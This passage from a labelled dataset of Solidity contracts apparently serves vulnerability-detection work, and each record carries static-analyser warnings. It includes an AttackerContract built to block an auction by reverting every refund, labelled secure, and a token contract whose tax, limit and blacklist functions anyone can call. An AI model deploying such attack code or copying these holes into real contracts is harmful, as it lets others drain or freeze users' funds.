"file_name": "solidity_code_2340.sol",
"secure": 1,
"size_bytes": 266
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./VulnerableContract.sol\" as VulnerableContract;\n\ncontract AttackerContract {\n\t// WARNING Optimization Issue (immutable-states | ID: a5cd98f): AttackerContract.vulnerableContract should be immutable \n\t// Recommendation for a5cd98f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n VulnerableContract vulnerableContract;\n\n constructor(VulnerableContract _vulnerableContract) {\n vulnerableContract = _vulnerableContract;\n }\n\n fallback() external payable {\n revert();\n }\n\n function placeBid() external payable {\n require(msg.value > vulnerableContract.highestBid());\n\n vulnerableContract.bid{value: msg.value}();\n }\n}",
"file_name": "solidity_code_2341.sol",
"secure": 1,
"size_bytes": 808
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AlcoholicApe is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) public bots;\n\t// WARNING Optimization Issue (constable-states | ID: 9d51e77): AlcoholicApe._tTotal should be constant \n\t// Recommendation for 9d51e77: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 800000 * 10 ** 8;\n\n uint256 private _taxFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 1aa0117): AlcoholicApe._taxWallet should be immutable \n\t// Recommendation for 1aa0117: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n uint256 public _maxTxAmount;\n\n string private constant _name = \"Alcoholic Ape\";\n string private constant _symbol = \"AlcoholicApe\";\n uint8 private constant _decimals = 8;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7b723f9): AlcoholicApe._uniswap should be immutable \n\t// Recommendation for 7b723f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private _uniswap;\n address private _pair;\n bool private _canTrade;\n bool private _inSwap = false;\n bool private _swapEnabled = false;\n\n modifier lockTheSwap() {\n _inSwap = true;\n _;\n _inSwap = false;\n }\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _taxFee = 15;\n _uniswap = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balance[address(this)] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _maxTxAmount = _tTotal.div(100);\n emit Transfer(address(0x0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1c7ad6): AlcoholicApe.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1c7ad6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 933d68a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 933d68a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5ca8b66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5ca8b66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 933d68a\n\t\t// reentrancy-benign | ID: 5ca8b66\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 933d68a\n\t\t// reentrancy-benign | ID: 5ca8b66\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c91e438): AlcoholicApe._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c91e438: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5ca8b66\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 933d68a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3364ebc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3364ebc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a6b7d9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a6b7d9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (\n from == _pair &&\n to != address(_uniswap) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Transaction amount limited\");\n }\n require(!bots[from] && !bots[to], \"This account is blacklisted\");\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!_inSwap && from != _pair && _swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 3364ebc\n\t\t\t\t// reentrancy-eth | ID: a6b7d9d\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance >= 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 3364ebc\n\t\t\t\t\t// reentrancy-eth | ID: a6b7d9d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 3364ebc\n\t\t// reentrancy-eth | ID: a6b7d9d\n _tokenTransfer(\n from,\n to,\n amount,\n (_isExcludedFromFee[to] || _isExcludedFromFee[from]) ? 0 : _taxFee\n );\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _uniswap.WETH();\n _approve(address(this), address(_uniswap), tokenAmount);\n\t\t// reentrancy-events | ID: 3364ebc\n\t\t// reentrancy-events | ID: 933d68a\n\t\t// reentrancy-benign | ID: 5ca8b66\n\t\t// reentrancy-eth | ID: a6b7d9d\n _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function lowerTax(uint256 newTaxRate) public {\n require(newTaxRate < 12);\n _taxFee = newTaxRate;\n }\n\n function removeBuyLimit() public {\n _maxTxAmount = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b187b6f): AlcoholicApe.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b187b6f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3364ebc\n\t\t// reentrancy-events | ID: 933d68a\n\t\t// reentrancy-eth | ID: a6b7d9d\n\t\t// arbitrary-send-eth | ID: b187b6f\n _taxWallet.transfer(amount);\n }\n\n function blockBots(address[] memory bots_) public {\n for (uint256 i = 0; i < bots_.length; i++) {\n if (\n bots_[i] != address(_uniswap) &&\n bots_[i] != address(_pair) &&\n bots_[i] != address(this)\n ) {\n bots[bots_[i]] = true;\n }\n }\n }\n\n function unblockBot(address notbot) public {\n bots[notbot] = false;\n }\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3032186): AlcoholicApe.createUniswapPair() ignores return value by IERC20(_pair).approve(address(_uniswap),type()(uint256).max)\n\t// Recommendation for 3032186: Ensure that all the return values of the function calls are used.\n function createUniswapPair() external onlyOwner {\n require(!_canTrade, \"Trading is already open\");\n _approve(address(this), address(_uniswap), _tTotal);\n _pair = IUniswapV2Factory(_uniswap.factory()).createPair(\n address(this),\n _uniswap.WETH()\n );\n\t\t// unused-return | ID: 3032186\n IERC20(_pair).approve(address(_uniswap), type(uint256).max);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9f83d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9f83d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aacb170): AlcoholicApe.addLiquidity() ignores return value by _uniswap.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aacb170: Ensure that all the return values of the function calls are used.\n function addLiquidity() external onlyOwner {\n\t\t// reentrancy-benign | ID: f9f83d5\n\t\t// unused-return | ID: aacb170\n _uniswap.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: f9f83d5\n _swapEnabled = true;\n\t\t// reentrancy-benign | ID: f9f83d5\n _canTrade = true;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 taxRate\n ) private {\n uint256 tTeam = tAmount.mul(taxRate).div(100);\n uint256 tTransferAmount = tAmount.sub(tTeam);\n\n\t\t// reentrancy-eth | ID: a6b7d9d\n _balance[sender] = _balance[sender].sub(tAmount);\n\t\t// reentrancy-eth | ID: a6b7d9d\n _balance[recipient] = _balance[recipient].add(tTransferAmount);\n\t\t// reentrancy-eth | ID: a6b7d9d\n _balance[address(this)] = _balance[address(this)].add(tTeam);\n\t\t// reentrancy-events | ID: 3364ebc\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n receive() external payable {}\n\n function swapForTax() public {\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function collectTax() public {\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_2342.sol",
"secure": 0,
"size_bytes": 13070
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BTCHALVINGTOKEN is ERC20 {\n constructor() ERC20(\"BTCHalvingToken\", \"BTCHALVING\") {\n _mint(msg.sender, 210_000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_2343.sol",
"secure": 1,
"size_bytes": 288
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Multicallable {\n function multicall(\n bytes[] calldata data\n ) public virtual returns (bytes[] memory) {\n assembly {\n mstore(0x00, 0x20)\n mstore(0x20, data.length)\n\n if iszero(data.length) {\n return(0x00, 0x40)\n }\n\n let results := 0x40\n\n let end := shl(5, data.length)\n\n calldatacopy(0x40, data.offset, end)\n\n let resultsOffset := end\n\n end := add(results, end)\n\n for {} 1 {} {\n let o := add(data.offset, mload(results))\n let memPtr := add(resultsOffset, 0x40)\n\n calldatacopy(memPtr, add(o, 0x20), calldataload(o))\n if iszero(\n delegatecall(\n gas(),\n address(),\n memPtr,\n calldataload(o),\n 0x00,\n 0x00\n )\n ) {\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n\n mstore(results, resultsOffset)\n results := add(results, 0x20)\n\n mstore(memPtr, returndatasize())\n returndatacopy(add(memPtr, 0x20), 0x00, returndatasize())\n\n resultsOffset := and(\n add(add(resultsOffset, returndatasize()), 0x3f),\n 0xffffffffffffffe0\n )\n if iszero(lt(results, end)) {\n break\n }\n }\n return(0x00, add(resultsOffset, 0x40))\n }\n }\n}",
"file_name": "solidity_code_2344.sol",
"secure": 1,
"size_bytes": 1833
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Owned {\n event OwnershipTransferred(address indexed owner, address indexed newOwner);\n\n error Unauthorized();\n\n address public owner;\n\n modifier onlyOwner() virtual {\n if (msg.sender != owner) revert Unauthorized();\n\n _;\n }\n\n constructor(address _owner) {\n owner = _owner;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1dee182): Owned.transferOwnership(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for 1dee182: Check that the address is not zero.\n function transferOwnership(\n address newOwner\n ) public payable virtual onlyOwner {\n\t\t// missing-zero-check | ID: 1dee182\n owner = newOwner;\n\n emit OwnershipTransferred(msg.sender, newOwner);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == 0x7f5828d0;\n }\n}",
"file_name": "solidity_code_2345.sol",
"secure": 0,
"size_bytes": 1097
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC1155TokenReceiver {\n function onERC1155Received(\n address,\n address,\n uint256,\n uint256,\n bytes calldata\n ) public payable virtual returns (bytes4) {\n return this.onERC1155Received.selector;\n }\n\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] calldata,\n uint256[] calldata,\n bytes calldata\n ) public payable virtual returns (bytes4) {\n return this.onERC1155BatchReceived.selector;\n }\n}",
"file_name": "solidity_code_2346.sol",
"secure": 1,
"size_bytes": 607
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC1155Mint {\n function mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public payable virtual;\n}\n\nerror ETHTransferFailed();\n\nfunction safeTransferETH(address to, uint256 amount) {\n assembly {\n if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {\n mstore(0x00, 0xb12d13eb)\n\n revert(0x1c, 0x04)\n }\n }\n}",
"file_name": "solidity_code_2347.sol",
"secure": 1,
"size_bytes": 498
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Multicallable.sol\" as Multicallable;\nimport \"./Owned.sol\" as Owned;\nimport \"./ERC1155TokenReceiver.sol\" as ERC1155TokenReceiver;\nimport \"./ERC1155Mint.sol\" as ERC1155Mint;\n\ncontract NaniMint is Multicallable, Owned(tx.origin), ERC1155TokenReceiver {\n event MintSet(uint256 indexed id, bool on);\n\n error Inactive();\n\n ERC1155Mint internal constant NANI =\n ERC1155Mint(0x379569b497eE6fdEb6f6128B9f59EfB49B85e3A2);\n\n mapping(uint256 => bool) public active;\n\n constructor() payable {}\n\n function mintNani(address to, uint256 id) public payable virtual {\n if (!active[id]) revert Inactive();\n\n NANI.mint(to, id, 1, \"\");\n\n if (msg.value != 0) {\n NANI.mint(to, 0, msg.value, \"\");\n\n safeTransferETH(address(NANI), msg.value);\n }\n }\n\n function setMint(uint256 id, bool on) public payable virtual onlyOwner {\n active[id] = on;\n\n emit MintSet(id, on);\n }\n}",
"file_name": "solidity_code_2348.sol",
"secure": 1,
"size_bytes": 1049
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.